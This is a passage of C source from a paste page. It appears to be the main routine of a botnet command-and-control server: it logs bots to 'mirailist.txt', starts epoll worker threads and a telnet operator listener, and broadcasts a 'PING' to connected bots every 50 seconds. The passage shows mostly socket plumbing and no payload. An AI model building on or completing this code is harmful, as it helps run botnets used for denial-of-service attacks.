  569. telFD = fopen("mirailist.txt", "a+");
  570. threads = atoi(argv[2]);
  571. listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't
  572. if (listenFD == -1) abort ();
  573. s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  574. if (s == -1) abort ();
  575. s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  576. if (s == -1)
  577. {
  578. perror ("listen");
  579. abort ();
  580. }
  581. epollFD = epoll_create1 (0);
  582. if (epollFD == -1)
  583. {
  584. perror ("epoll_create");
  585. abort ();
  586. }
  587. event.data.fd = listenFD;
  588. event.events = EPOLLIN | EPOLLET;
  589. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  590. if (s == -1)
  591. {
  592. perror ("epoll_ctl");
  593. abort ();
  594. }
  595. pthread_t thread[threads + 2];
  596. while(threads--)
  597. {
  598. pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL);
  599. }
  600. pthread_create(&thread[0], NULL, &telnetListener, port);
  601. while(1)
  602. {
  603. broadcast("PING", -1, "OBLIVION");
  604. sleep(50);
  605. }
  606. close (listenFD);
  607. return EXIT_SUCCESS;
  608. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement